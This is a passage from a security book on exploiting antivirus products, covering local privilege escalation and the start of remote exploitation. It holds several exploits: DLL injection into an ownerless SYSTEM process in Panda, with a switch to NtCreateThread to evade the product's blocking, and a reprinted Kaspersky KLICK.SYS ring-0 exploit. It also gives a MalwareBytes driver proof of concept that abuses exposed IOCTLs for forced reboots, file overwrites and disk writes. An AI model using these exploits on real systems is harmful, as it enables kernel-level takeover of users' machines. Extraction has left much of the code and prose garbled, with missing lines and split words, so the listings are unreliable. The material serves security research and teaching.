integrity level (also SYSTEM), but has no owner. It sounds odd, right? Well,
you may be surprised by the number of products that used to have such bugs:
Windows versions of the Oracle and IBM DB2 databases suffered from this
vulnerability, and at least one antivirus product, Panda Global Protection 2012,
was vulnerable at the time I was researching security flaws.
One of the first actions to perform when doing an audit of a new product is
to install it, reboot the machine, and briefly analyze the local attack surface by
Chapter 14 ■ Local Exploitation
reviewing the services the product installs, the processes, the permissions of
each object from each privileged process it installs, and so on. During the first
few minutes of auditing Panda Global Protection 2012, I discovered a curious
bug similar to others that I already knew about: incorrect or absent object permissions. These kinds of problems can be discovered by using a tool such as
the SysInternal Process Explorer, as shown in Figure 14-3.
Figure 14-3: Security properties of the WebProxy.exe process
Figure 14-3 shows that there is one process named WebProxy.exe, which
runs as the NT AUTHORITY\SYSTEM user, with the highest integrity level
(SYSTEM). However, the permissions of the actual process are too relaxed; it
simply has no owner! The following information appears in the Permissions
dialog box (boldface is used for emphasis):
No permissions have been assigned for this object.
Warning: this is a potential security risk
k because anyone who can access this
object can take ownership of it. The object’s owner should assign permissions as
soon as possible.
The Process Explorer tool clearly shows that there is a potential security risk
because anyone who can access this object—which translates to any user in the
local machine, regardless of the user’s privileges—can take ownership of this
process. It means that a low privileged process, such as a tab in Google Chrome
Part III ■ Analysis and Exploitation
or the latest versions of Internet Explorer, the ones that run inside the sandbox,
can take ownership of an entire process running as SYSTEM. This means that
this antivirus product can be used as a quick and easy way to break out of the
sandbox and to escalate privileges to one of the highest levels: SYSTEM. For this
scenario to occur, the attacker first needs to identify a bug in the chosen browser,
exploit it, and use this vulnerability as the last stage of the exploit. Naturally,
if an attacker does not have a bug for the chosen browser, this does not apply.
But finding bugs in browsers is not actually a complex task.
Needless to say, this bug is horrible. Unfortunately, though, these kinds of
oversights and bugs happen in security products. In any case, this is fortunate
for hackers because they can write exploits for them! This is likely one of the
easiest exploits to write for escalation of privileges: you simply need to take
ownership of this process or, for example, to inject a thread into its process
context. You can do practically anything you want with an orphaned process.
This example injects a DLL using a tool called RemoteDLL, which is available
Once you download it, you can unpack it in a directory and execute the file
named RemoteDll32.exe under the Portable subdirectory. A dialog box appears,
like the one shown in Figure 14-4.
Figure 14-4: User interface of the RemoteDLL injector tool
Chapter 14 ■ Local Exploitation
In this tool, you need to leave the default options for Operation and Inject
Method and a target process corresponding to the vulnerable WebProxy.exe
process. Then, you need to create a simple DLL library to inject before selecting it in the RemoteDLL injector’s GUI. Use the following simple library in
C language:
#include <Windows.h>
#include <stdlib.h>
DWORD ul_reason_for_call,
LPVOID lpReserved
switch (ul_reason_for_call)
// Real code would go here
return TRUE;
This stub library actually does nothing. (You can choose to do anything you
want when the library is loaded, at the time the DLL_PROCESS_ATTACH event happens.) Compile it as a DLL with your favorite compiler, for example, Microsoft
Visual Studio, and then select the path of the output library in the RemoteDLL
field labeled DLL Name. After that, you simply need to click the Inject DLL
button. However, surprise—the attack is detected and blocked by the Panda
antivirus product. It displays a message such as “Dangerous operation blocked!”
as shown in Figure 14-5 (which appears in Spanish).
The antivirus log indicates that the CreateRemoteThread API call that the
RemoteDLL tool used to inject a DLL was caught. You have a few choices to
1. Disable the shield, as it is probably the one responsible for catching the
injection; or
2. Use another method.
Part III ■ Analysis and Exploitation
Figure 14-5: Panda blocks your attempt to inject a DLL.
If you know of no other way to disable the shield, can you still inject a DLL
using another method? Luckily, the RemoteDLL tool offers another way to inject
a DLL using the undocumented NtCreateThread native API. Instead of using
CreateRemoteThread, it directly calls the NtCreateThread function (which is
called by CreateRemoteThread internally). From the Injection Method dropdown list, select NTCreateThread [undocumented] and click the Inject DLL
button again. After you click the button, the GUI seems to freeze, but if you
take a look with the SysInternal Process Explorer tool, you see results similar
to those in Figure 14-6.
Figure 14-6: Panda is successfully owned.
Chapter 14 ■ Local Exploitation
Your library is loaded in the process space of the application, running as
SYSTEM. After proving that it works, you could write a more complex exploit
using the NtCreateThread method to inject a DLL, for example, a Metasploit
meterpreter library that would connect to a machine you control and that is
running the Metasploit console. This is just a single example, but in reality, you
can do practically anything you want.
Searching Kernel-Land for Hidden Features
I already discussed some vulnerabilities that were caused because of hidden
features. These hidden features, such as the secret UUID and the IOCTL code
in the Panda Global Protection antivirus used to disable protection, are common in antivirus products. Some of them are intended, such as the previously
discussed vulnerability that could be used by support people, and others are
not, such as the next vulnerability discussed.
In 2006, the security researcher Ruben Santamarta reported an interesting
vulnerability in Kaspersky Internet Security 6.0. This old version of the Kaspersky
antivirus tool used two drivers to hook NDIS and TDI systems. The drivers
responsible for hooking such systems were, respectively, KLICK.SYS and KLIN
.SYS. Both drivers implemented a plug-in system so that callbacks from other
components could be installed. The registration of each plug-in was triggered
by an internal IOCTL code. The ACL of the device driver registered by the KLICK
.SYS driver—the one hooking the NDIS system—was not restrictive, and so
any user could write to the \\.\KLICK
K DOS device, which in turn would allow
any user to take advantage of a hidden feature in that kernel driver. The IOCTL
code 0x80052110 was meant to register a callback from a plug-in of the KLICK
.SYS driver. Here is a look at the driver’s DriverEntry method:
.text:00010A3D ; NTSTATUS __cdecl DriverEntry(PDRIVER_OBJECT
public DriverEntry
.text:00010A3D DriverEntry proc near
.text:00010A3D SourceString= word ptr -800h
.text:00010A3D var_30= UNICODE_STRING ptr -30h
.text:00010A3D var_28= byte ptr -28h
.text:00010A3D AnsiString= STRING ptr -1Ch
.text:00010A3D DestinationString= UNICODE_STRING ptr -14h
.text:00010A3D SymbolicLinkName= UNICODE_STRING ptr -0Ch
.text:00010A3D ResultLength= dword ptr -4
.text:00010A3D DriverObject= dword ptr 8
.text:00010A3D RegistryPath= dword ptr 0Ch
Part III ■ Analysis and Exploitation
ebp, esp
esp, 800h
esi, ds:RtlInitUnicodeString
eax, [ebp+DestinationString]
offset SourceString ; \Device\klick
eax ; DestinationString
esi ; RtlInitUnicodeString
eax, [ebp+SymbolicLinkName]
offset aDosdevicesKlic ; \DosDevices\klick
eax ; DestinationString
esi ; RtlInitUnicodeString
ebx, [ebp+DriverObject]
esi, esi
offset DeviceObject ; DeviceObject
esi ; Exclusive
esi ; DeviceCharacteristics
eax, [ebp+DestinationString]
22h ; DeviceType
eax ; DeviceName
esi ; DeviceExtensionSize
eax ; DriverObject
It starts by creating the device driver, \Device\Klick, and its corresponding
symbolic link name, \DosDevices\klick. Then, the address of the function
device_handler is copied over the DriverObject->MajorFunction array:
edi, [ebx+_DRIVER_OBJECT.MajorFunction]
eax, offset device_handler
; Copy the device_handler to the MajorFunction table
rep stosd
This function, device_handler, is the one you want to analyze to determine
which IOCTLs are handled and how. If you go to this function, you see pseudocode similar to the following:
NTSTATUS __stdcall device_handler(
PDEVICE_OBJECT dev_obj, struct _IRP *Irp)
NTSTATUS err; // [email protected]
_IO_STACK_LOCATION *CurrentStackLocation; // [email protected]
unsigned int InputBufferLength; // [email protected]
Chapter 14 ■ Local Exploitation
unsigned int maybe_write_length; // [email protected]
unsigned int io_control_code; // [email protected]
UCHAR irp_func; // [email protected]
err = 0;
CurrentStackLocation =
(_IO_STACK_LOCATION *)Irp->Tail.Overlay
InputBufferLength =
maybe_write_length = CurrentStackLocation->Parameters.Write
io_control_code =
irp_func = CurrentStackLocation->MajorFunction;
if ( irp_func == IRP_MJ_DEVICE_CONTROL ||
err = internal_device_handler(
Irp->IoStatus.anonymous_0.Status = err;
IofCompleteRequest(Irp, 0);
return err;
As you can see, it is taking the input arguments sent to the IOCTL code
and the IoControlCode and sending it to another function that I called
internal_device_handler. In this function, depending on the IOCTL code, it
eventually calls another function, sub_1172A:
001170C loc_1170C: ; CODE XREF: internal_device_handler+1Ej
; internal_device_handler+25j
; iostatus_info
; write_length
[ebp+system_buf_write] ; SystemBufferWrite
[ebp+input_buf_length] ; InputBufferLength
; SystemBuffer
; a2
Part III ■ Analysis and Exploitation
In the sub_1172A function, the vulnerability becomes easy to spot. If you
open the pseudo-code using the Hex-Rays decompiler, and check the code that
handles the IOCTL code 0x80052110, you find a curious type cast:
if ( io_control_code == 0x80052110 )
if ( SystemBuffer && InputBufferLength >= 8 )
v10 = (void *)(*(int (__cdecl **)(_DWORD))(*this + 20))(0);
if ( v10 )
(*(void (__thiscall **)(void *))(*(_DWORD *)v10 + 4))(v10);
if ( sub_15306(v10,
*(int (__cdecl **)(char *, char *, int))SystemBuffer,
*((_DWORD *)SystemBuffer + 1)) )
Notice that curious cast-to-function pointer that the decompiler is showing.
The decompiler indicates that the element at SystemBuffer is used directly as a
function pointer. In other words, a pointer that is sent at the first DWORD in the
buffer that is sent to the IOCTL handler is being cast as a function pointer and
is likely going to be used to call something. The sub_15306 function contains
the following sad code:
; int __thiscall sub_15306(
void *this,
int (__cdecl *system_buffer)(char *, char *, int),
int a3)
.text:00015306 sub_15306 proc near
.text:00015306 var_20= byte ptr -20h
.text:00015306 var_18= byte ptr -18h
.text:00015306 var_10= byte ptr -10h
.text:00015306 var_8= dword ptr -8
.text:00015306 var_4= dword ptr -4
.text:00015306 system_buffer= dword ptr 8
.text:00015306 arg_4= dword ptr 0Ch
ebp, esp
esp, 20h
ecx, [ebp+arg_4]
edi, [esi+10h]
[esi+1ECh], ecx
ecx, [esi+1B8h]
[esi+1F0h], eax
[edi], eax
Chapter 14 ■ Local Exploitation
; Pointer to the
eax, [ebp+system_buffer]
[esi+1ACh], eax
eax ; Call *(DWORD *)SystemBuffer!!!!
The driver is calling any address that is given as the first DWORD in the
buffer passed to the IOCTL code, which allows anyone to execute any code in
Ring0! This bug was caused by a design flaw (or, maybe, because of bad permissions). The function was meant to be used by plug-ins of the KLICK.SYS driver
to register the plug-in and callbacks:
offset aRegisterPlugin
; "Register plugin: ID = <%x> <%s>\r\n"
dword ptr [edx+0Ch]
However, the ACL’s driver allowed anyone to call that IOCTL code as if it
were a plug-in. This allowed anyone to directly execute code at kernel-land
from an unprivileged process.
Writing an exploit for this vulnerability was trivial, considering that it could
call, for example, a user-mode pointer. The following is the sample exploit that
Ruben wrote for this vulnerability:
///// AVP (Kaspersky)
//// Kernel Privilege Escalation #2
//// Exploit
//// Rubén Santamarta
//// 01/09/2006
#include <windows.h>
#include <stdio.h>
void Ring0Function()
printf("Hello From Ring0!\n");
Part III ■ Analysis and Exploitation
VOID ShowError()
LPVOID lpMsgBuf;
(LPTSTR) &lpMsgBuf,
int main(int argc, char *argv[])
DWORD InBuff[1];
DWORD dwIOCTL,OutSize,InSize,junk;
HANDLE hDevice;
printf("## AVP Ring0 Exploit ##\n");
printf("Ruben Santamarta\\n\n");
hDevice = CreateFile("\\\\.\\KLICK",
///// INFO
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
printf("[!] KLICK Device Handle [%x]\n",hDevice);
Chapter 14 ■ Local Exploitation
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Function;
// Ring0 ShellCode Address
///// IOCTL
dwIOCTL = 0x80052110;
printf("[!] IOCTL [0x%x]\n\n",dwIOCTL);
[4] DeviceIoControl(hDevice,
return 0;
The most interesting parts of the exploit are in bold. At marker [1], it starts by
opening the device driver’s symbolic link created by the KLICK.SYS driver (\\.\
KLICK). Then, at [2], it sets the expected size of the input buffer to 8 bytes. At
[3], it sets the first DWORD of the input buffer to be sent to the IoControlCode
handler to the address of the local function Ring0Function, and at [4], it simply
calls the vulnerable IOCTL code using the DeviceIoControl API. The vulnerable
driver will call the function Ring0Function, showing the message, "Hello from
Ring0". You could change this payload to whatever you want. For example, you
could spawn a CMD shell or create an administrator user or anything, because
the payload will be running as kernel.
More Logical Kernel Vulnerabilities
Some vulnerabilities in the kernel are the result of incorrectly allowing any
user to send commands (IOCTLs), as in the previous case with Kaspersky. This
problem doesn’t affect Kaspersky exclusively but rather impacts a large set of
antivirus products. This sections shows one more example: a set of zero-day
kernel vulnerabilities in MalwareBytes. The blog post titled “Angler Exploit Kit
Gives Up on Malwarebytes Users” explains that the author of Angler Exploit Kit
simply refuses to operate if the MalwareBytes antivirus contains the following
erroneous statement:
We can almost imagine cyber criminals complaining about how their brand
new creations, fresh out of the binary factory, are already being detected
by our software. Even when they think they will catch everyone by surprise
with a zero-day, we are already blocking it.
Part III ■ Analysis and Exploitation
This book discusses how the antivirus can be used as the actual attack target.
As such, how can the antivirus block a zero-day targeting the antivirus itself?
The answer is very easy: it cannot. Also, AV software does not even try to
do so. But to prove them wrong, this example looks for an easy vulnerability
to exploit. This antivirus product, which is very young, uses a set of kernel
drivers. One of them creates a device that any local user can communicate with,
the driver called mbamswissarmy.sys, “The MalwareBytes’ Swiss Army Knife.”
This name screams that the driver exports interesting functionality, so open it
in IDA. After the initial auto-analysis finishes, you will see the following disassembly at the entry point:
; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT
public DriverEntry
proc near
= dword ptr
= dword ptr
edi, edi
ebp, esp
The function named sub_2D1A1 calculates the security cookie; you can skip it.
Let’s continue with the jump to driver_entry. After some uninteresting parts,
you can see the code where it’s creating the device object that can be used to
communicate with the driver:
edi, ds:__imp_RtlInitUnicodeString
offset aDeviceMbamswis; SourceString
eax, [ebp+DestinationString]
; DestinationString
edi ; __imp_RtlInitUnicodeString
offset aDosdevicesMb_0 ; SourceString
eax, [ebp+SymbolicLinkName]
; DestinationString
edi ; __imp_RtlInitUnicodeString
eax, [ebp+DriverObject]
; DeviceObject
edi, edi
; Exclusive
; DeviceCharacteristics
; DeviceType
eax, [ebp+DestinationString]
Chapter 14 ■ Local Exploitation
; DeviceName
; DeviceExtensionSize
; DriverObject
If double-click on either the aDeviceMbamswis or aDosdevicesMb_0 names,
you will see the full device names it’s creating:
; const WCHAR aDosdevicesMb_0
unicode 0, <\DosDevices\MBAMSwissArmy>,0
; const WCHAR aDeviceMbamswis
unicode 0, <\Device\MBAMSwissArmy>,0
Now go back to the function you were analyzing by pressing ESC in order
to continue analyzing it. A few instructions after creating the device object, it
executes the following code:
eax, [esi+_DRIVER_OBJECT.MajorFunction]
g_MajorFunction, eax
eax, offset device_create_close
[esi+_DRIVER_OBJECT.MajorFunction], eax
[esi+(_DRIVER_OBJECT.MajorFunction+8)], eax
eax, [ebp+DestinationString]
; DeviceName
eax, [ebp+SymbolicLinkName]
; SymbolicLinkName
offset DispatchDeviceControl
offset device_cleanup
offset driver_unload
It seems it’s registering the device driver handling functions. Press F5 to see
the pseudo-code of this portion of code:
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->DriverUnload = (PDRIVER_UNLOAD)driver_unload;
Part III ■ Analysis and Exploitation
It’s registering the callbacks to handle when the device is created and closed,
the machine shuts down, the driver is unloading, and, most important, the
device control handler that I renamed to DispatchDeviceControl. This function is the one responsible for handling the commands, IOCTLs, a userland
component can send to the driver:
eax, [ebp+Irp]
; IRP->Tail.
edi, [eax+60h]
ebx, ebx
; Timeout
; Alertable
; WaitMode
; WaitReason
esi, offset Mutex
; Object
[ebp+CurrentStackLocation], edi
[ebp+input_buf_length], eax
edi, 22241Dh
edi, 222421h
edi, 222431h
edi, 222455h
edi, 222425h
edi, 22242Dh
edi, 222435h
edi, 222439h
edi, 22245Eh
edi, 222469h
Chapter 14 ■ Local Exploitation
The function stores in EAX the size of the given userland buffer and checks
the IOCTL code, which is stored in EDI, sent to the driver. There are a few IOCTL
codes handled here. Let’s follow the conditional jump to loc_2C34C:
PAGE:0002C34C loc_2C34C:
; CODE XREF: DispatchDeviceControl+35j
; DispatchDeviceControl+41j ...
edi, [ebp+Irp]
PAGE:0002C34F loc_2C34F:
; CODE XREF: DispatchDeviceControl+1D4j
; DispatchDeviceControl+1DBj ...
eax, [ebp+CurrentStackLocation]
PAGE:0002C352 loc_2C352:
; CODE XREF: DispatchDeviceControl+130j
; DispatchDeviceControl+13Cj ...
ecx, 0FFDDDBFEh ; switch 104 cases
ecx, 67h
; jumptable 0002C36B default
ecx, ds:byte_2C62E[ecx]
ds:off_2C5CE[ecx*4] ; switch jump
The code in boldface in the preceding listing is a switch table that is used to
determine which code must be executed according to the IOCTL code. Going
to the pseudo-code view makes it easier to determine what is happening. This
is the switch’s pseudo-code, with the interesting IOCTL code in boldface:
switch ( io_stack_location->Parameters.DeviceIoControl.IoControlCode )
case MB_HandleIoctlEnumerate:
v12 = HandleIoctlEnumerate(Irp, io_stack_location, (int)buf);
case MB_HandleIoctlEnumerateADS:
v12 = HandleIoctlEnumerateADS(Irp, io_stack_location,
(wchar_t *)buf);
case MB_HandleIoctlOverwriteFile:
v12 = HandleIoctlOverwriteFile(Irp, io_stack_location,
(wchar_t *)buf);
case MB_HandleIoctlReadFile:
v12 = HandleIoctlReadFile(Irp, io_stack_location, buf);
case MB_HandleIoctlBreakFile:
v15 = HandleIoctlBreakFile(Irp, io_stack_location, (PCWSTR)buf);
goto LABEL_41;
Part III ■ Analysis and Exploitation
case MB_HandleIoCreateFile_FileDeleteChild:
v12 = HandleIoCreateFile(Irp,
(int)io_stack_location, (wchar_t *)buf, FILE_DELETE_CHILD);
case MB_HandleIoCreateFile_FileDirectoryFile:
v12 = HandleIoCreateFile(Irp, (int)io_stack_location, (wchar_t *)
case MB_HandleIoctlReadWritePhysicalSector1:
v12 = HandleIoctlReadWritePhysicalSector(Irp,
(int)io_stack_location, (int)buf, 1);
case MB_HandleIoctlReadWritePhysicalSector2:
v12 = HandleIoctlReadWritePhysicalSector(Irp,
(int)io_stack_location, (int)buf, 0);
case MB_HalRebootRoutine:
return result;
According to the function names and IOCTL code, you can determine that
it’s exporting a lot of functionality to userland that should not be exported at
all for all user-processes. This is a short explanation of the IOCTLs from the
pseudo-code in boldface above:
MB_HandleIoctlOverwriteFile —Allows any user-mode process to
overwrite any file
MB_HandleIoctlReadFile—Allows any user-mode process to read any file
MB_HandleIoCreateFile_FileDeleteChild—Delete any file and/or
MB_HandleIoctlReadWritePhysicalSector1/2—Read or write physical
sectors from/to the disk
MB_HalRebootRoutine—Executes HalReturnToFirmwareHalRebootRoutine
to reboot the machine from the kernel
This means that an attacker abusing the functionality of this MalwareBytes’s
driver can own the targeted machine at, almost, any level. Such an attacker,
thanks to the protective software, can create files anywhere, overwrite whatever
he or she wants, or even install a boot-kit as it allows writing physically to disk
regardless of the local privileges of the attacker. From a security point of view,
this is a complete disaster: the antivirus, which is supposed to protect its users
from malicious attackers, is actually exposing functionality that can be used
by any user to own the machine.
Chapter 14 ■ Local Exploitation
The proof-of-concept code I wrote, to prove that my understanding of the
driver is right, simply reboots the machine the hard way, from the kernel, without
showing any dialog or letting the user know that the machine is going to reboot.
This is the code for the main.cpp file:
#include "mb_swiss.h"
//-------------------------------------------------------------------void usage(const char *prog_name)
"Usage: %s\n"
"--reboot Forcefully reboot the machine.\n"
Show version information about the driver.\n", prog_name);
//------------------------------------------------------------------int main(int argc, char **argv)
CMBSwiss swiss;
if ( swiss.open_device() )
printf("[+] Device successfully opened\n");
for ( int i = 1; i < argc; i++ )
if ( strcmp(argv[i], "--reboot") == 0 )
printf("[+] Bye, bye!!!");
printf("[!] Something went wrong :/\n");
else if ( strcmp(argv[i], "-v") == 0 )
char ver[24];
if ( swiss.get_version(ver, sizeof(ver)) )
printf("[+] MBAMSwissArmy driver version %s\n", ver);
printf("[!] Error getting MBAMSwissArmy driver version :(\n");
return 0;
Part III ■ Analysis and Exploitation
The code only handles two commands: —reboot to reboot the machine and
-v to show the driver version. It creates an object of type CMBSwiss and calls
the method reboot or get_version accordingly. Now, look at the mb_swiss.h
header file:
#ifndef MB_SWISS_H
#define MB_SWISS_H
#include <windows.h>
//----------------------------------------------------------------#define MBSWISS_DEVICE_NAME L"\\\\.\\MBAMSwissArmy"
//----------------------------------------------------------------enum MB_SWISS_ARMY_IOCTLS_T
MB_HandleIoctlEnumerate = 0x222402,
MB_HandleIoctlEnumerateADS = 0x22245A,
MB_HandleIoctlOverwriteFile = 0x22242A,
MB_HandleIoctlReadFile = 0x222406,
MB_HandleIoctlBreakFile = 0x222408,
MB_HandleIoCreateFile_FileDeleteChild = 0x22240C,
MB_HandleIoCreateFile_FileDirectoryFile = 0x222410,
MB_HandleIoctlReadWritePhysicalSector1 = 0x222416,
MB_HandleIoctlReadWritePhysicalSector2 = 0x222419,
MB_0x222435u = 0x222435,
MB_0x222439u = 0x222439,
MB_0x22241Du = 0x22241D,
MB_do_free_dword_2A548 = 0x222421,
MB_0x222431u = 0x222431,
MB_DetectKernelHooks = 0x222455,
MB_HandleIoctlReadMemoryImage = 0x222452,
MB_0x222442u = 0x222442,
MB_0x222446u = 0x222446,
MB_0x22244Au = 0x22244A,
MB_RegisterShutdownNotification = 0x22244E,
MB_HalRebootRoutine = 0x222425,
MB_ReBuildVolumesData = 0x22242D,
MB_HandleIoctlGetDriverVersion = 0x22245E,
MB_set_g_sys_buf_2A550 = 0x222461,
MB_PrintKernelReport = 0x222465,
MB_free_g_sys_buf_2a550 = 0x222469,
Chapter 14 ■ Local Exploitation
//------------------------------------------------------------------struct mb_driver_version_t
int major;
int minor;
int revision;
int other;
//------------------------------------------------------------------class CMBSwiss
HANDLE device_handle;
bool open_device(void);
void reboot(void);
bool get_version(char *buf, size_t size);
bool overwrite_file(const wchar_t *file1, const wchar_t *file2);
And last but not least, the code for mb_swiss.cpp, where the DeviceIoControl
calls are made:
#include "mb_swiss.h"
//------------------------------------------------------------------bool base_open_device(const wchar_t *uni_name, HANDLE *device_handle)
HANDLE hFile = CreateFileW(uni_name,
0, 0, OPEN_EXISTING, 0, 0);
printf("[!] Error: %d\n", GetLastError());
*device_handle = hFile;
//-----------------------------------------------------------------bool CMBSwiss::open_device(void)
return base_open_device(MBSWISS_DEVICE_NAME, &device_handle);
//-----------------------------------------------------------------void CMBSwiss::reboot(void)
DWORD bytes;
Part III ■ Analysis and Exploitation
DWORD buf;
if ( !DeviceIoControl(device_handle, MB_HalRebootRoutine, &buf, sizeof(buf),
&buf, sizeof(buf), &bytes, 0) )
printf("[!] Operation failed, %d\n", GetLastError());
//-----------------------------------------------------------------bool CMBSwiss::get_version(char *buf, size_t size)
DWORD bytes;
mb_driver_version_t version = {0};
if ( !DeviceIoControl(device_handle, MB_HandleIoctlGetDriverVersion,
&version, sizeof(version), &version, sizeof(version), &bytes, 0)
printf("[!] Error getting version %d\n", GetLastError());
return false;
_snprintf_s(buf, size, size, "%d.%d.%d.%d", version.major,
version.minor, version.other, version.revision);
return true;
It’s worth remembering that this example is using the IOCTL code that the
MalwareBytes’s driver handles and that this functionality should have never been
exposed to any local user. But unfortunately for MalwareBytes’s users, they did.
The vulnerability, at the time of writing these lines, is still a 0day. However, the
vulnerability will be “responsibly” disclosed before publishing. The complete
proof-of-concept exploit, with support for more features than just rebooting the
machine, is available at
N O T E You may have noticed that I put in quotes the word responsibly.
y I strongly
disagree with the conventional definition of “responsible disclosure.” Responsible disclosure is considered the process in which a security researcher or a group discovers
one or more vulnerabilities and reports them to the vendor, the vendor fixes the
vulnerabilities (which may take days or in some cases years), and, finally, both, if the
vendor allows it, the vendor and the researchers publish a coordinated security advisory. However, responsible disclosure should mean free audits for multi-million dollar
companies that never audit their products. For security researchers, it should mean
working for free with big companies that don’t take any responsibility for the irresponsible code that makes their users vulnerable. Often, the security researchers are
under the threat of being sued if they publish details about the vulnerabilities, even
when they’re already fixed. This happened many times to me and to other researchers.
Chapter 14 ■ Local Exploitation
Local exploitation techniques are used to exploit a product or its components
when local access to the target is an option.
This chapter explained various classes of bugs that can lead to exploitation:
Memory corruptions bugs—This can mean anything from memory access
violations that lead to crashes to arbitrary memory read/write primitives
to information leaking.
Bad permissions—This type of vulnerability is caused by incorrectly
setting, or not setting at all, the privileges or access control lists (ACLs)
to system objects, processes, threads, and files. For example, a SYSTEM
process with a null ACL is open to attacks from less privileged processes.
Logical vulnerabilities—These usually result from logical programming
bugs or design flaws in the software. They could be hard to discover, but
if found, they can have an adverse effect when exploited. In some cases,
such bugs cannot be easily fixed without significant changes in the product
because these bugs could be deeply integrated and interwoven with other
components in the product.
These are the very simple steps to take to uncover locally exploitable bugs:
1. Install the software, reboot the machine, and observe all the installed
2. Analyze the local attack surface by reviewing the installed services, the
processes, and the kernel drivers by checking the permissions and privileges of each object, file, and so on.
3. Reverse-engineer the kernel drivers and services to uncover backdoors
and interesting IOCTLs that can be sent to the drivers.
Here’s a of recap how each class of bugs mentioned above can be exploited:
Memory corruption bugs, when present, may allow the attacker to flip
a byte in memory and override vital information in a security token or
global variables. Imagine for instance that there is a global variable named
g_bIsAdmin. When this variable is set to 1, because of an exploit leveraging a memory corruption bug, the software will allow administrative
functions to execute (example: disable the antivirus).
Antivirus services with bad permissions, invalid privileges, permissions,
and ACLs may allow a non-privileged program to interface with a privileged application, running with higher privileges. The attacker may,
for instance, remotely create a thread into a privileged process, whose
permissions are too relaxed, to execute malicious code. The same bugs,
Part III ■ Analysis and Exploitation
when found in kernel drivers, would allow any user to interface with it
and send commands (IOCTLs) and access undocumented yet powerful
functions. The section, “More Logical Kernel Vulnerabilities,” contains
a lot of hands-on information on how to find and exploit logical bugs.
Logical vulnerabilities may manifest as backdoors, hidden features, or
incorrect constraints checks. Backdoors and hidden features are usually
discovered by reverse-engineering efforts. For example, the Panda Global
Protection antivirus, up until the 2013 version, had a kernel driver that
would disable the antivirus when it receives a special command (via an
IOCTL code).
The next chapter discusses remote exploitation, where it will be possible for
the attacker to instigate an attack remotely and get local access to the target
machine. When it comes to a multistage attack, from outside the network to
the inside, bear in mind that both remote and local exploitation techniques are
complementary to each other.
Remote Exploitation
Remote exploitation techniques are used to exploit a product or a component of a
product by an attacker who does not have access to the computer being targeted.
Antivirus software can be remotely targeted, but doing so requires a lot of
effort. This chapter explains why exploiting an antivirus remotely is much more
complex than local exploitation. It then covers how to write remote exploits for
antivirus software and also contains many useful tips to make exploitation easier.
Implementing Client-Side Exploitation
In general, exploiting antivirus products remotely is similar to exploiting client-side
applications, in the sense that the application is exploited by interpreting malicious
code sent via email or through a drive-by exploit. Although there are some network services and management consoles for which remote exploitation can be
considered server-side exploitation, the biggest attack surface, and the one that
is always available when targeting such products, is actually the client-side part.
This section focuses on the remote exploitation of client-side antivirus components.
Exploiting Weakness in Sandboxing
Most antivirus products are still plagued by a lack of implementation of decent
security measures, which makes exploiting them no different or more difficult than exploiting old client-side applications such as music players or
Part III ■ Analysis and Exploitation
image viewers. Indeed, it is more difficult to exploit some security-aware clientside applications than the vast majority of existing antivirus products. For
example, writing an exploit for Adobe Acrobat Reader, Google Chrome, or the
latest versions of Internet Explorer or Microsoft Office is difficult in comparison
to writing an exploit for an antivirus that does not try to prevent itself from
being owned. This is because antivirus products do not run their critical code
that deals with untrusted input inside sandboxes, whereas the aforementioned
desktop apps do.
The sandbox is kind of a jail that prevents a process from taking certain
privileged actions. Usually, sandbox processes are designed like this: a
parent process, also known as the broker, runs with normal user privileges.
The parent process controls one or more child processes that run at a different integrity level (in Windows), under a different user, or simply with a more
limited set of capabilities (in Unix-like operating systems). To perform some
sensitive and privileged actions, such as executing operating system commands
or creating files outside a specific temporary directory, the child processes need
to communicate with the parent process, the broker. If the broker considers
the request sent by one of the child processes as valid, then it will perform the
operation on behalf of the requesting child process, which is running with
low privileges. However, in most antivirus products, there is nothing similar
to a sandbox. If you read the antivirus advertisements and then research their
products, you will discover that when they talk about “sandboxing,” they are
referring exclusively to running applications or code that they know nothing
about, inside half-controlled environments. Unfortunately for users, antivirus
industry security, with only a few notable exceptions, is years behind web
browser and document reader security.
Even though you now know why exploiting an antivirus application is like
exploiting any other client-side application, there are still some difficulties to
sort out before you can write an exploit for an antivirus. These difficulties are
presented by the operating system or compiler exploitation mitigations rather
than the actual antivirus product. One way to begin to write exploits for AV
software is to take advantage of the fact that most of them make some common mistakes in the way they implement ASLR, DEP, and RWX pages. We will
discuss them in the next sections.
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
The following is a short list of trivial and common mistakes that, when left wide
open, can lead to exploitation and security problems:
Not enabling Address Space Layout Randomization (ASLR) for one or
more modules in their products (even at kernel level), thus effectively
rendering ASLR useless.
Chapter 15 ■ Remote Exploitation
Injecting a non-ASLR-enabled library system-wide, effectively neutralizing ASLR system-wide (for all processes).
Purposely disabling Data Execution Prevention (DEP) in order to execute
code in the stack.
Finding Read-Write-eXecute (RWX) memory pages at fixed addresses.
For exploit writers, finding memory pages with RWX attributes at fixed
addresses is like finding a goldmine.
This is an aberration from a security point of view. However, it is an aberration that happens, and what is bad for some people is good for others (in this
case, for an exploit writer). Indeed, most of the exploits I have written for file
format vulnerabilities actually abused such “features” (or their lack thereof):
executing code in the stack (DEP) or simply using some special Return-Oriented
Programming (ROP) payload, which can be megabytes long, from one or more
non-ASLR-enabled libraries.
An exploit that uses a non-ASLR-enabled library is often a very reliable exploit
because that library provides a set of fixed addresses that the exploit can rely
on to find all the needed ROP gadgets. However, with some antivirus products,
you may have even more luck. For example, I discovered that pages with RWX
attributes are often created at fixed memory addresses, making it even easier
to execute your own code in the context of the targeted antivirus.
To illustrate how such an exploitation can take place, imagine that you have
some heap buffer overflow bug in an antivirus product and you can leverage
that bug to write a pointer value that will later be dereferenced and interpreted
as being a pointer inside a Virtual Function Table (VTable). Here is the disassembly listing:
MOV EAX, [ECX] ; Memory at ECX is controllable
CALL [EAX+8] ; So, we directly control this call
In this case, because of some previous corruption, you can overwrite a C++
object’s VTable address, usually located directly at the object’s instance address.
Because you control the contents pointed at by ECX, you can also control the call
destination, the dereferenced value at EAX+8.
With such a bug, to achieve remote exploitation, you still need to know where
to redirect the execution, and because of ASLR, this is not easy (if possible at
all) to do. You can try the following, though:
1. Using any of the available non-ASLR-enabled modules, you can redirect
execution to a set of ROP gadgets that mount the second stage of the attack:
preparing for shellcode execution.
